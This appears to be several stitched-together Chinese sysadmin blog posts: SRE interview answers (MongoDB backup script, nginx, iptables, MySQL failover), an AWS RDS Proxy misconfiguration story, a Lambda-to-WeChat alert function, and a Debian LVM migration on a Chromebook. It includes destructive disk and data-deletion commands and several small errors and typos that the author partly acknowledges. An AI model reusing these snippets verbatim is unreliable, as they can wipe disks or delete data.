User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

第四题第二问

想办法让这个程序在执行的时候，正确返回。

1

python3 server.py &

Start HTTP server on port 7777…

1

./make_me_happy

127.0.0.1 - - [19/Jun/2024 17:19:02] “GET /pow?q=give_me_a_string_whose_sha256sum_in_hex_begins_with_e7ba HTTP/1.1” 200 -
OK! Thank you, I’m happy now!

1

echo $?

0

第四题第三问

贴出来第二问的源码（如果有的话）。

我的答案：

the whole code(server.py) is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import hashlib
import string
import random
from urllib.parse import urlparse, parse_qs
from http.server import SimpleHTTPRequestHandler, HTTPServer

def find_sha256_prefix(prefix):
    while True:
        candidate = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
        sha256sum = hashlib.sha256(candidate.encode()).hexdigest()
        if sha256sum.startswith(prefix):
            return candidate

class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/pow"):
            query_components = parse_qs(urlparse(self.path).query)
            prefix_template = query_components.get('q', [''])[0]

            if "with_" in prefix_template:
                prefix = prefix_template.split("with_")[1]
                suffix = find_sha256_prefix(prefix)
                response = suffix.encode()
                self.send_response(200)
                self.send_header('Content-type', 'text/plain')
                self.send_header('Content-length', len(response))
                self.end_headers()
                self.wfile.write(response)
        else:
            self.send_response(404)
            self.end_headers()

def run():
    server_address = ('', 7777)
    httpd = HTTPServer(server_address, CustomHandler)
    print('Start HTTP server on port 7777...')
    httpd.serve_forever()

if __name__ == "__main__":
    run()

总结

这倒还真是 SRE 的题目，基本上都跟开发有关系。这里由于需要的环境简单，而且公司方面提供了一个完整的试验环境，所以所有的 python 程序我都做过测试。

本文由 老杨 原创，转载请注明出处。

这是之前有一家海外公司招 DevOps 工程师，我投了简历，期望薪资写了薪资范围的最下限，然后被给了份题让先做一下，于是便有了这篇“水”文。

当然，最终我并没有拿到这个 offer，甚至连下一轮见 CTO 的机会都没有。（关于这个，我其实心里还是有一点小小的不服气的。）

题目详情

Q1

写一个定时执行的 Bash 脚本，每月的一号凌晨 1 点对 MongoDB 中 test.user_log 表进行备份、清理，具体要求如下：

• 首先备份上个月的数据，备份完成后打包成.gz文件
• 备份文件通过 sftp 传输到 backup [bakup@bakup.xxx.com] 服务器上，账户已经配置在~/.ssh/config
• 备份完成后，再对备份过的数据进行清理: create_on [2024-01-01 03:33:11]
• 如果脚本执行失败或者异常，则调用 https://monitor.xxx.com/webhook/mongodb
• 这个表每日数据量大约在 200w 条, 单条数据未压缩的存储大小约 200B

Q2

根据要求提供一份 Nginx 配置, 要求如下：

• 域名：xxx.com, 支持 https、HTTP/2
• 非 http 请求经过 301 重定向到 https
• 根据 UA 进行判断，如果包含关键字 “Google Bot”, 反向代理到 server_bot[bot.xxx.com] 去处理
• /api/{name} 路径的请求通过 unix sock 发送到本地 php-fpm，文件映射 /www/api/{name}.php
• /api/{name} 路径下需要增加限流设置，只允许每秒 1.5 个请求，超过限制的请求返回 http code 429
• /statics/ 目录下是纯静态文件，需要做一些优化配置
• 其它请求指向目录 /www/xxx/, 查找顺序 index.html –> public/index.html –> /api/index

Q3

现有一台服务器，如下图所示上面通过默认安装并运行了 3 个 docker 容器，需要通过 iptables 进行网络配置。请给出命令：

• 只有 Docker_A 与 Docker_B 之间可以相互通信，Docker_C 不能访问其它两个容器
• 只允许内网 IP 为 192.168.1.1 - 192.168.1.30 的内网 IP 访问所有容器
• Docker_A:8080 与 Docker_C:80 通过与自身相同端口对外网提供服务, Docker_B:3316 不对外网提供服务
• 所有配置需要固化，重启服务器自动生效

Q4

已知生产环境数据库结构如图所示:

1
2
3
4
5

graph LR;
    master-->slave_1;
    master-->slave_2;
    slave_1-->slave_3;
    slave_2-->slave_4;

因为 master 偶尔有硬件问题，需要先将 slave_1 提升为新 master, 然后旧 master 变成 slave_1。请给出操作方案和关键命令。

• 主从数据库服务均处于独立服务器上，有独立的IP;
• 应用程序写入数据库通过域名 mysql-master.xxx.com 访问;
• 应用程序读取数据通过 Haproxy(mysql-slave.xxx.com) 访问所有从库 01-04
• 尽量平滑处理，不影响生产环境

Q5

在生产环境中，应用程序是通过 Haproxy 来读取 slave 集群，但是偶尔会产生

SQLSTATE[HY000]: General error: 2006 MySQL server has gone away

的错误，请根据经验，给出一排查方案与可能的方向，与开发一起定位问题, 现已经排查：

• 故障发生时，服务器之间防火墙正常，服务器之间可以正常通信;
• 故障SQL均可以正常查询，同时不存在性能问题;
• 故障频率没有发现特别规律，与服务器负载没有正相关;
• 查看各服务的日志，只发现了错误信息，但没有进一步的说明;

1
2
3
4
5
6

graph LR;
    Service-->Haproxy;
    Haproxy-->slave_1;
    Haproxy-->slave_2;
    Haproxy-->slave_3;
    Haproxy-->slave_4;

我的答案

A1

如下是备份用的 bash 程序，放在任意合适的目录即可，不过需要记下来路径，cron 的程序 backup_mongo 里要用到，并且给其赋予可执行权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#!/bin/bash

# filename: backup_mongo.sh

LAST_MONTH_START=$(date -d "$(date +%Y-%m-01) -1 month" +%Y-%m-01)
LAST_MONTH_END=$(date -d "$(date +%Y-%m-01)" +%Y-%m-%d)

DATABASE="test"
COLLECTION="user_log"
BACKUP_DIR="backup"
BACKUP_PATH="${BACKUP_DIR}/${LAST_MONTH_START}_${LAST_MONTH_END}_user_log_backup.gz"
LOG_FILE="${BACKUP_DIR}/backup_log_$(date +%Y%m%d_%H%M%S).txt"
SFTP_SERVER="bakup@bakup.xxx.com"
WEBHOOK_URL="https://monitor.xxx.com/webhook/mongodb"

[ -e ${BACKUP_DIR} ] || mkdir -p ${BACKUP_DIR}

echo "$(date +"%Y-%m-%d %H:%M:%S") - Starting backup and compression for ${DATABASE}.${COLLECTION} for the period from ${LAST_MONTH_START} to ${LAST_MONTH_END}" | \
        tee -a "$LOG_FILE"
{
        mongodump --db="$DATABASE" --collection="$COLLECTION" \
                --gzip --archive="$BACKUP_PATH" \
                --query="{ 'create_on': { '\$gte': { '\$date': '${LAST_MONTH_START}T00:00:00.000' }, '\$lt': { '\$date': '${LAST_MONTH_END}T00:00:00.000' } } }"

        sftp $SFTP_SERVER <<< $'put '"${BACKUP_PATH}"

        mongo "$DATABASE" \
                --eval \
                "db.$COLLECTION.remove({ 'create_on': { '\$gte': { '\$date': '${LAST_MONTH_START}T00:00:00.000' }, '\$lt': { '\$date': '${LAST_MONTH_END}T00:00:00.000' } } });"
        echo "$(date +"%Y-%m-%d %H:%M:%S") - Backup and clean up success." | tee -a "$LOG_FILE"
} || {
        echo "$(date +"%Y-%m-%d %H:%M:%S") - Backup or clean up script failed, sending message..." | tee -a "$LOG_FILE"
        curl -X POST "$WEBHOOK_URL" --data 'Backup or clean up script failed'
        exit 1
}

如下是 cron 的配置文件 backup_mongo 的内容：

1
2
3
4

SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

0 1 1 * * root /path/to/backup_mongo.sh > /dev/null 2>&1

这个文件请放在目录 /etc/cron.d/ 下

A2

• 如果是 Debian 系的系统，请把文件 ipo.com.conf 放到 /etc/nginx/sites.available/ 目录下并在 /etc/nginx/sites.enable/ 下做一个软链。
• 但如果是红帽系的系统，请把文件 ipo.com.conf 放到目录 /etc/nginx/conf.d/ 下。

以下是文件 xxx.com.conf 的内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

limit_req_zone $binary_remote_addr zone=api_per_ip:10m rate=90r/m; # 1.5r/s by per IP
limit_req_zone $server_name zone=api_per_server:10m rate=10r/s; # 1.5r/s by per server

upstream server_bot {
    server bot.xxx.com:443;
}

server {
    listen              80;
    listen              [::]:80;
    server_name         xxx.com;
    return              301 https://$host$request_uri;
}

server {
    listen              443 ssl;
    http2               on;
    server_name         xxx.com;
    ssl_certificate     xxx.com.crt;
    ssl_certificate_key xxx.com.key;
    ssl_protocols       TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_ciphers         HIGH:!aNULL:!MD5;
    # 或者直接启用 HSTS
    # add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    if ($http_user_agent ~ "Google Bot") {
        set $google_bot true;
    }
    location /api/ {
        limit_req zone=api_per_ip burst=5 nodelay; # or using api_per_server
        limit_req_status 429;
        fastcgi_pass unix:/var/run/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME /www$fastcgi_script_name.php; # /api/a -> /www/api/a.php
    }
    location /statics/ {
        autoindex       off;
        gzip            on;
        gzip_comp_level 2;
        gzip_min_length 1000;
        gzip_proxied    expired no-cache no-store private auth;
        gzip_types      text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
        expires         365d;
        access_log      off;
    }
    location / {
        if ($google_bot = 'true') {
            proxy_pass https://server_bot;
            proxy_ssl_certificate         /etc/nginx/client.pem;
            proxy_ssl_certificate_key     /etc/nginx/client.key;
            proxy_ssl_protocols           TLSv1 TLSv1.1 TLSv1.2;
            proxy_ssl_ciphers             HIGH:!aNULL:!MD5;
            proxy_ssl_trusted_certificate /etc/nginx/trusted_ca_cert.crt;

            proxy_ssl_verify        on;
            proxy_ssl_verify_depth  2;
            proxy_ssl_session_reuse on;
        }
    }
    root /www/xxx/;
    index index.html public/index.html /api/index;
}

A3

原来给出来的四个需求：

1. 只有Docker_A 与 Docker_B 之间可以相互通信，Docker_C 不能访问其它两个容器;
2. 只允许内网IP为 192.168.1.1 - 192.168.1.30 的内网IP访问所有容器;
3. Docker_A:8080 与 Docker_C:80 通过相同端口对外网提供服务, Docker_B:3316 不对外网提供服务;
4. 所有配置需要固化，重启服务器自动生效;

3.1

因为如果不做特殊设置，Docker 容器之间是可以直接互通的，所以这里只需要限制 Docker_C 不能访问 Docker_A 和 Docker_B 即可

1
2

iptables -I DOCKER-USER -s 172.17.0.2 -d 172.17.0.4 -j REJECT
iptables -I DOCKER-USER -s 172.17.0.3 -d 172.17.0.4 -j REJECT

这样设置完毕，反向 172.17.0.4->172.17.0.2 和 172.17.0.4->172.17.0.3 也是不通的，因为回包被拒了。所以反向的 rules 就不用写了。

3.2

第二问有些没太理解，理论上来讲，Docker 容器的网络跟 host 外面是隔离的，无论是 host 上 eth_private 还是 eth_public 上来的流量，应该都是不能直接访问任何容器的。

我只能大概用管饭文档上的一个利子来试着看是不是满足需求：

1
2
3

iptables -I DOCKER-USER -m iprange \
    -i eth_private ! --src-range 192.168.1.1-192.168.1.30 \
    -j DROP

3.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

iptables -t filter -A DOCKER -d 172.17.0.2/32 \
    -i eth_public -o Docker0 -p tcp \
    -m tcp --dport 8080 -j ACCEPT
iptables -t filter -A DOCKER -d 172.17.0.3/32 \
    -i eth_public -o Docker0 -p tcp \
    -m tcp --dport 80 -j ACCEPT
iptables -t nat -A POSTROUTING -s 172.17.0.2/32 \
    -d 172.17.0.2/32 -p tcp -m tcp \
    --dport 8080 -j MASQUERADE
iptables -t nat -A POSTROUTING -s 172.17.0.3/32 \
    -d 172.17.0.3/32 -p tcp -m tcp \
    --dport 80 -j MASQUERADE
# 以上两句我其实也没想明白，我是看了 Docker host 的 iptables 的实际情况照着抄的
iptables -t nat -A DOCKER -i eth_public -p tcp \
    -m tcp --dport 8080 -j DNAT \
    --to-destination 172.17.0.2:8080
iptables -t nat -A DOCKER -i eth_public -p tcp \
    -m tcp --dport 80 -j DNAT \
    --to-destination 172.17.0.3:80

3.4

这个问题的答案依 Linux 发布版的不同以及具体软件的不同而不同

1
2
3
4
5

iptables-save > /etc/iptables/rules.v4
# 或者是红帽系的话
iptables-save > /etc/sysconfig/iptables
# or
service iptables save

A4

这道题我基本上考虑的最多的是怎么样保持数据一致性。系统可用性的考虑反倒是其次。

修改域名解析

• 从域名 mysql-slave.xxx.com 解析，将 slave_1 摘出来
• 尽量将域名 mysql-master.xxx.com 到 master 的指向去掉

逐级设置成 readonly

• 将 master 设置成 readonly(set global read_only=ON;set global super_read_only=ON;)
• 等 slave_1 和 slave_2 的数据跟 master 同步之后（show slave status 里看），将 slave_1 和 slave_2 设置为 readonly
• 最后等 slave_3 的数据同步之后，将其也设为 readonly

slave_1 变成 master

• slave_3 从 slave_1 下面拆出来，挂到 slave_2 下面（用命令 STOP SLAVE IO_THREAD;CHANGE MASTER TO slave_2;START SLAVE IO_THREAD）
• slave_1 上停掉 slave，起来 master（用命令 stop slave;reset slave all;show master status）
• slave_1 上还要启用 replication 的用户

slave_2 挂到 slave_1(new master) 下面

• slave_2 上执行 STOP SLAVE IO_THREAD;CHANGE MASTER TO slave_1;START SLAVE IO_THREAD

master 变成 slave

• master 上执行 reset master; reset slave all; CHANGE MASTER TO slave_1

slave_3 从 slave_2 下拆出来，挂到 master 下面

• slave_3 下执行 STOP SLAVE IO_THREAD;CHANGE MASTER TO master;START SLAVE IO_THREAD

收尾工作：关掉 readonly 并改回域名解析

• 从 slave_1(new master) 开始，逐级关掉 readonly(set global read_only=OFF;)
• 确认数据同步正常之后，修改域名解析：
  • 将域名 mysql-slave.xxx.com 将 master（new slave） 加进去
  • 将域名 mysql-master.xxx.com 指向 slave_1(new master)

A5

2006 MySQL server has gone away

这个错误的坑我之前刚刚踩过（说是刚刚，其实也是有几个月了），这个错误出现的原因主要就是因为服务器端认为某个连接的 session 超时了，就给强制断掉了，这边客户端不知道，还在傻乎乎的发消息，于是就会得到错误提示：has gone away，控制这种超时的参数有两个：wait_timeout 和 interactive_timeout，但是实际上影响超时的是 session 级别的 wait_timeout 参数。

而 session 级别的 wait_timeout 参数在客户端交互式登录（通常的 MySQL 客户端登录）时，继承的是 global 的 interactive_timeout 参数；而在非交互式登录（比如程序或 jdbc 这种连上来的情况），继承的是 global 级别的 wait_timeout 参数。

所以解决这个问题也有很多办法，最简单的，将这两个参数的值调大。其实这两个参数的缺省值是 8 小时，已经不小了。

要是仅从排错的角度出发的话，那么肯定要 MySQL server 要看日志、HAProxy 要看日志，出错的客户端要看日志，还要在出错的时候看 MySQL server 的状态（show processliss 什么的）

我刚看了有文档说，HAProxy 的 timeout server 和 timeout client 的两个值要跟 MySQL server 上的 session 级的 wait_timeout 一致。

还有，客户端连 HAProxy 的 MySQL 代理时，结束时要显式的主动断开连接。这个我想还好，最怕就是有连接池连 HAProxy 的 MySQL 的代理，我们当时踩坑也是因为有连接池……如果有，大概率是连接池的问题。

总结

我的答案不一定都对，因为我也没有环境去具体测试，但如果这些题是工作中给到我的真实工作内容，我有信心很好的完成他们。

本文由 老杨 原创，转载请注明出处。

在搭建新环境时，我们选择了 OpenTofu——这是在 Terraform 更改了 license 之后从 Terraform 代码库分支并且开放源码的工具——用于构建VPC、RDS、Redis等基础设施。

但当基础设施就位、开始部署应用程序时，问题出现了。每次部署都不成功，查看日志说是 JDBC 相关错误，DB Proxy 的日志中充斥着诸多 “internal error”，却若隐若现关于具体错误原因的描述。尝试直接通过 MySQL 客户端连接 DB Proxy 时，大多数命令执行都引发错误（help 命令除外）提示：

ERROR 1105 (HY000): Unknown error

错误截图参见：

问题排查

经过一系列尝试后，我联系了 AWS 的客服，并提交了一个 case。经过一整天（案例仍在 “work in progress”）等待后，AWS 给出了反馈。在一串冗长的信息之后，技术支持终于指出了潜在有用的信息，提到如果 parameters 中的 init_query 被设置为 "SET x=1, y=2" 时，可能会触发这个问题。

网络上也有人分享了 类似的困境。

这让我想起在 OpenTofu 中配置 DB Proxy（其实是在资源 aws_db_proxy_default_target_group 里） 时，我确实设定了 init_query = "SET x=1, y=2"。为什么会这样呢？因为这是遵循了 Terraform（OpenTofu）官方文档给出的示例：Resource: aws_db_proxy_default_target_group，文档截图如下：

尽管我仔细阅读了关于 init_query 的文档说明，做过 MySQL DBA 的我也明确知道 init_query 的含义和用途，但出于对官方文档示例的信赖，还是采纳了这一配置。

解决方案

解决问题过程颇费周折。初始时，我尝试在 db_proxy.tf 中注释掉 init_query 相关行，并执行 tofu play; tofu apply 进行更改。尽管提示显示已变更，web 控制台的显示却未有更新。于是，我又把 init_query 设置为空值后重新运行命令。提示虽然依旧显示已修改，但是 web 控制台的状态仍然未变。最终，我不得不直接在 web 控制台进行修改才得以生效。之后，再次运行 tofu plan 确认 Terraform(OpenTofu) 状态与控制台同步，这才安心。

结语

本案例告诉我们，即便是官方文档，也不应该盲目信任。重要的是深入理解配置中每个参数的具体含义和必要性，否则可能会带来意想不到的麻烦。

迷惑性的问题

这个问题起初可能并未被触发，因为最初（用 OpenTofu）构建完 DB Proxy 后我肯定进行了连接测试的，当时并未发现问题。而且就在部署问题应用（java）之前，不论是 Python 还是 Node.js 应用，均未出现部署错误（ Java 项目可能最初出错是因为角色没有 VPC access 权限，但权限解决后部署时还报错则是因为那个时候我已经触发了 DB Proxy 的配置问题让其服务几乎不可用了）。

DB Proxy 正式被触发故障是在尝试将另一环境的 RDS 表结构导入时。我是通过 DB Proxy 来进行数据导入的，当时未导入完成便报错失败，从此任何命令（除了 help 命令）都返回错误：ERROR 1105 (HY000): Unknown error。这次故障被触发的原因和机理也非常值得研究。

项目有一些非常重要的后台应用是跑在 AWS 的 lambda 上的，老板和产品非常关注这些应用的执行情况，一旦出错，都会是很严重的故障。

方案变迁

前面做过一些基础设施级别的监控报警，如：监控 AWS 的 RDS 并通过企业微信来报警，那个完全是利用基础设施自动打到 CloudWatch 的基础的 metrics 来做的。

于是，我这里下意识的就想利用现有的 CloudWatch 里现成的 Metrics 来做这个事情，于是我就弄了三个（种）监控：

• 利用官方文档 里提到的 lambda 的 Errors 这个基础 Metric 做了一个
• 利用官方文档 里提到的 API Gateway 的基础 Metrics: 4XXError 和 5XXError 做了一个（其实是两个，4XX、5XX 各一个）
• 然后又用给 lambda function 的日志新建 metric filter 的方法，新建了一个 metric，用来统计日志里敏感信息信息的次数，最后在 CloudWatch 里用这个新建的 metric 来做的报警

用这三种方案有一个好处，就是可以沿用之前已有的监控 AWS 的 RDS 并通过企业微信来报警里的 CloudWatch->SNS->Lambda function 这种现成的框架。

但等做完了，测试过报警信息了，才发现这三种方案都有一个共同的缺点：这三种都是基于 metrics 来做的报警，但是 metrics 其实只关注 metrics 的数量，报警依赖的是数量跟阈值的比较，报出来的上下文信息也只能是老状态是啥、新状态是啥；为什么触发报警（metric 次数超过阈值什么的），完完全全不能带出原始日志里的信息。所以，往往关心出错具体信息的技术收到报警以后也会一头雾水，完全不知道哪里出错。

所以，改方案了，在重要的 lambda function 的日志里，新建一个 Lambda subscribtion filter，设置当在日志里发现敏感信息后，触发一个 Lambda function: A。在这个名叫 A 的 Lambda function 里，实现报警的功能。这个方案神似当年我们在实体机时代通过 tail -f xxxx.log | grep "xxxx" | /path/to/a.py 来检测重要程序的日志里的关键词“xxxx”来报警的套路。

具体步骤

编写 Lambda function

名叫 “A” 的报警 Lambda function 的代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

import json
import os
import gzip
import base64
import http.client
import urllib.parse

WEBHOOK_TOKEN = os.environ['WX_TOKEN']  # 你的企业微信 Webhook Token
WEBHOOK_URL = "qyapi.weixin.qq.com"

def send_to_wechat_work(account_id, region_name, log_group_name, log_stream_name, message):
    # URL编码日志组和日志流名称
    log_group_encoded = urllib.parse.quote(log_group_name, safe='')
    log_stream_encoded = urllib.parse.quote(log_stream_name, safe='')
    # 构造CloudWatch日志链接
    log_url = f"https://console.aws.amazon.com/cloudwatch/home?region={region_name}#logsV2:log-groups/log-group/{log_group_encoded}/log-events/{log_stream_encoded}"
    # 创建企业微信消息格式
    wechat_msg = {
        "msgtype": "markdown",
        "markdown": {
            "content": f"#### :rotating_light: Lambda Error Alert :rotating_light:\n"
                       f"**Account ID:**{account_id}\n\n"
                       f"**Log Group:**{log_group_name}\n\n"
                       f"**Log Stream:**{log_stream_name}\n\n"
                       f"**Message:**\n\n"
                       f"```\n{message}\n```\n\n"  # Markdown code block
                       f"[Click here to view the log]({log_url})"
        }
    }
    # 发送POST请求至企业微信
    conn = http.client.HTTPSConnection(WEBHOOK_URL)
    headers = {'Content-Type': 'application/json'}
    body = json.dumps(wechat_msg)
    conn.request("POST", f"/cgi-bin/webhook/send?key={WEBHOOK_TOKEN}", body, headers)
    response = conn.getresponse()
    data = response.read()
    conn.close()
    return data

def lambda_handler(event, context):
    try:
        # 解压缩日志数据
        log_data = base64.b64decode(event['awslogs']['data'])
        uncompressed_data = gzip.decompress(log_data)
        log_events_data = json.loads(uncompressed_data)

    except Exception as e:
        print(f"Error processing log data: {str(e)}")
        return {'statusCode': 500, 'body': json.dumps('Error processing log data')}

    # 获取日志组和流信息，并提取账户 ID 和区域(region)名
    log_group_name = log_events_data.get('logGroup', 'Unknown log group')
    log_stream_name = log_events_data.get('logStream', 'Unknown log stream')
    account_id = context.invoked_function_arn.split(":")[4]
    region_name = context.invoked_function_arn.split(":")[3]
    
    # 过滤并发送每个有效的日志消息
    messages_sent = 0
    for log_event in log_events_data.get('logEvents', []):
        message = log_event.get('message').strip()
        if message:  # 检查消息不是空的或者只包含空白字符
            print("message:", message)
            send_to_wechat_work(account_id, region_name, log_group_name, log_stream_name, message)
            messages_sent += 1

    if messages_sent == 0:
        print("No valid log events to send.")

    return {'statusCode': 200, 'body': json.dumps('Messages sent to WeChat Work')}

建立 Lambda subscribtion filter 并指向上一步创建的 Lambda function

在 Lambda 的页面里，找到需要监控报警的那个“重要”的后台应用：”B”，点击进入 “B” 的页面，点击 “Configration” 这个 tab，然后在左侧栏里点击 “Monitoring and operations tools”，这时，在中间栏的 “Logging configuration” 部分就能看到 “CloudWatch log group” 了，大概是像这样：“/aws/lambda/B”，同时这也还是一个链接，直接点击就会到 B 在 CloudWatch 里的 Log group 了。

在这个具体的 Log group 的页面里，点击 “Subscription filters” 这个 tab，点击右侧叫 “Create” 的下拉按钮，在弹出来的菜单里点击 “Create Lambda subscription filter”，然后

• 在 “Lambda function” 里选择之前的那个叫 “A” 的 Lambda function
• “Subscription filter pattern” 里填上匹配日志的信息，比如我用的是“%xxxx%”
• “Subscription filter name” 随便写

然后，点击右下按钮 “Start streaming” 就可以了。

总结

都很简单是吧，的确很简单。但是没用过 AWS 或对 AWS 不熟悉的人来说，估计是想不到 AWS 还有这些“奇奇怪怪”的功能的。顺便说一个冷知识，在 AWS 的 Serverless Application Repository 这个服务下的 Available applications 里，有个叫 “WeChat-Notifier” 的应用，直接可以用来做报警！直接支持微信和企业微信。所以呀，其实就报警到（企业）微信这事儿，原本都不用写代码的，直接调用这个就好了！下次有时间再写写关于 “WeChat-Notifier” 的内容。

本来这台 HP Chromebook 11A G6 EE( 加了一张 128G 的 TF 卡 )，我安装好了 Arch Linux(Xfce)，都弄好了的，但最近在知乎上老被安利说装 Debian 的 testing 版，于是我又开始折腾，把 Debian 13 testing(trixie) 安装到这台 Chromebook 上。

安装时，使用 lvm 分区不成功，系统报错：

partman-lvm: pvcreate: error while loading shared libraries: libaio.so.1: cannot open shared object file: no such file or directory

现在想想可能还有其他办法，比如想办法把这个需要的包注入进去，但当时选择了先用 ext4 分区安装系统自带的 16G 的卡里，装完以后再想办法转成 lvm 并把 TF 卡的空间加进来。

具体步骤

ext4 在自带存储上安装

自带存储的设备号是：/dev/mmcblk1，容量只有 16G

这一步基本上没什么问题，我只讲一下最后自带存储的分区：

• 分区 1，vfat 格式，挂在 /boot/efi
• 分区 2，ext4 格式，挂在 /

将 / 迁移到 TF 卡（lvm）

这一步应该是重中之重，难度、复杂度都在这里。

处理 TF 卡

TF 卡的设备号是：/dev/mmcblk0，容量 128G

1
2
3
4
5
6
7
8
9
10
11

apt-get install lvm
# 系统原来没装 lvm
wipefs -fa /dev/mmcblk0
# TF 卡上原来有数据，所以需要先 wipefs 干一下
pvcreate /dev/mmcblk0
# 也可以先对设备分区了再创建 pv，但也可以直接在裸设备上做
vgcreate vg_root /dev/mmcblk0
lvcreate -L 116G -n lv_root vg_root
# TF 卡容量是 128G，可用为 116G 多一些，这里 lv 设 116G 大小，
# 其实多大没关系（因为 lv 是随时可以扩的），但只要小于可用的就行
mkfs.ext4 /dev/vg_root/lv_root

迁移数据到 /dev/vg_root/lv_root

1
2
3
4
5
6
7
8
9

mkdir /mnt/new_root
# 创建挂载点
mount /dev/vg_root/lv_root /mnt/new_root
# 把新的根区挂载上
tar -cvpf - --one-file-system --acls --xattrs \
    --selinux / | tar -C /mnt/new_root -xf -
# 把数据倒到新的根区上
cp -aux /dev /mnt/new_root
# 把 /dev 下有更新的内容拷贝过来

接着还要修改新根区下 etc/fstab 的内容，将挂载在 / 的设备改成 /dev/vg_root/lv_root

1
2

vi /mnt/new_root/etc/fstab
# 这里之所以用 vi 而不是 vim 那是因为 vim 这个软件还尚未安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14

mount --bind /dev /mnt/new_root/dev
chroot /mnt/new_root
mount -t proc /proc /proc
mount -t sysfs /sys /sys
vgscan
vgchange -ay
mkinitramfs -o /boot/initrd-`uname -r`.lvm.img `uname -r`
# 上面这一步我感觉应该可以不做，因为上面 `apt-get install lvm`
# 时我貌似有看到重新制作 initrd 的 image 的情况，看吧，
# 这一句的目的是为了给 initrd 的 image 文件添加 lvm 的支持
exit
# 退出 chroot 状态
cp /mnt/vg_root/lv_root/boot/initrd-`uname -r`.lvm.img /boot
# 上面这一句我感觉其实也可以不做，因为老 / 区最终是要被干掉的呀

最后的收尾工作：

• 修改 /mnt/new_root/boot/grub/grub.conf 的内容，最好新增一条 menuentry，内容拷贝原有的
  • 把显示的名字改了
  • 把 initrd 的 image 文件改成前面新做成的 initrd 的 image 文件
  • 如果还有涉及到 root 的 uuid 什么的，也要将原来的设备的 uuid 改成新 root 的设备 /dev/vg_root/lv_root 的 uuid（命令 blkid 里可以看到，注意：有的设备有 UUID 还有 PARTUUID，一般来讲原来用的是哪个替换的时候也要用哪个替换，如果没有对应的，那么就用 UUID 来替换）
• 修改文件 /boot/efi/EFI/debian/grub.cfg，同样也是做 uuid 的替换

最后，重启系统迁移这一步应该就好了

1

shutdown -r now

将自带存储加入新 / 区的 lv

自带的存储的设备是：/dev/mmcblk1，老根区的设备号是：/dev/mmcblk1p2

电脑重新起来后，登录进去

1
2
3
4
5
6
7
8
9

wipefa -fa /dev/mmcblk1p2
pvcreate /dev/mmcblk1p2
# 创建 pv(physical volume)
vgextend vg_root /dev/mmcblk1p2
# 将老根分区所在存储加入到 vg_root 这个 vg（volume group） 里来
lvextend -l +100%FREE /dev/vg_root/lv_root
# 将 lv_root 这个 lv(logical volume) 的大小扩展到所有未用空间
resize2fs /dev/vg_root/lv_root
# 将 lv_root 这个 lv 上的 ext4 文件系统的大小扩展到整个 lv

如此，便完成了。

监控在云资源管理中占据了核心地位，它可以帮助我们实时追踪资源状态，从而快速发现并处理潜在的问题。本文将介绍如何利用 AWS CloudWatch 监控云数据库服务RDS，并通过企业微信发送报警通知，以达到高效运维的目的。

解决方案概述

本文所述的监控方案包含以下几个关键步骤：

• 设定 CloudWatch 告警规则，用于监控 RDS 参数并定义报警条件。
• 创建一个 SNS(Simple Notification Service)主题来接收 CloudWatch 的报警通知。
• 开发一个 Lambda 函数，用于处理 SNS 的报警通知，并将其转发到企业微信。
• 设置 SNS 主题触发的 Lambda 函数，以启用自动报警功能。

这里有个知识点需要了解，否则就会有困惑：RDS 的 event 是怎么到 CloudWatch 里去的呢？是这样的，RDS 基础的 Metrics 是会自动打到 CloudWatch 里去的。所以我们如果只是监控这些基础的 Metrics 的话是不用在 EventBridge 里再建规则把 RDS 的 event 打到 CloudWatch 里了。

开始之前：在企业微信中创建机器人并获取 Webhook Token

在设置 AWS CloudWatch 监控和报警之前，我们需要先在企业微信中创建一个机器人，并获取它的 Webhook Token，后续步骤中将会用到。以下是创建机器人的操作步骤：

• 登录企业微信，并打开目标群聊。
• 点击群聊信息页面内的“群机器人”选项，跟随提示操作，点击“添加”按钮。
• 弹出页面中选择“新建”。
• 在新界面中设定机器人的名称，并可选择一个头像。
• 创建机器人后，系统会生成一个 Webhook URL，这个URL中包含了Token。
• 复制这个 Webhook URL，注意妥善保存，后续配置中会用到。

配置完成后，记得将获取到的 Token 添加到 AWS Lambda 的环境变量 WX_TOKEN 中。

方案具体实施步骤

在获取了企业微信机器人的 Webhook Token 后，就可以开始设置我们的监控和报警系统了。该系统分为以下几个步骤：

设立 CloudWatch 报警规则

首先，我们需要在 CloudWatch 中为 RDS 创建告警规则。具体步骤（以 Metric: CPUUtilization 为例）如下:

• 登录 AWS 管理控制台，进入 CloudWatch 服务。
• 在左侧菜单中选择 “告警” > “所有告警”，然后点击 “创建告警”。
• 选择要监控的 RDS 指标，例如 “CPUUtilization”(CPU 使用率)。
• 设置告警阈值和条件，例如当 CPU 使用率超过 80% 时触发告警。
• 选择 “通过 SNS 主题发送通知”，然后选择之前创建的 SNS 主题。
• 设置告警名称和描述，然后点击 “创建告警”。

